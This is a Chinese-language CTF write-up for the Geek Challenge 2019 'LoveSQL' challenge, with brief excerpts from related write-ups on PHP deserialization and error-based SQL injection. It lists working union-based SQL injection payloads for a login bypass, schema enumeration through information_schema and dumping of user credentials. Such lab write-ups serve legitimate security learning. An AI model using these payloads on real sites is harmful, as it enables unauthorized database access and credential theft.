極客大挑戰 2019 LoveSQL

2022-09-18 22:36:13 字數 1369 閱讀 2086

一道基礎的sql注入題目

筆記:爆破資料庫:union select 1,2,group_concat(column_name)  from information_schema.schemata%23 

爆破表名   :union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='資料庫名字'%23

爆破欄位名:union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='資料表名'%23   

首先進入到頁面,看到輸入使用者名稱密碼,直接乙個萬能密碼得到使用者名稱admin密碼是一串md5加密的資料,可以嘗試md5碰撞,但我試了沒對

那就老老實實的sql注入,先嘗試是單引號還是雙引號注釋(user是單引號,用password是雙引號)

構造order by語句:username=admin『 order by 3%23&password=1(因為是輸入在url上,所以不能直接輸#)

輸入4就報錯,所以只有三個注入點,用username=1' union select 1,2,3%23&password=1得知注入點的位置在2,3

然後就爆破庫:?username=1' union select 1,2,group_concat(column_name)  from information_schema.schemata%23&password=1

爆破表:?username=1'union select 1,2,group_concat(table_name)  from information_schema.tables where table_schema='geek'%23&password=1

字段:?username=1'union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

然後直接:?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 HardSQL wp

有過濾,抓個包fuzz一下 等號,空格等被過濾 發現可以用報錯注入,空格可以用括號代替 查表名username admin or extractvalue 1,concat 0x7e,select group concat column name from information schema.co...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...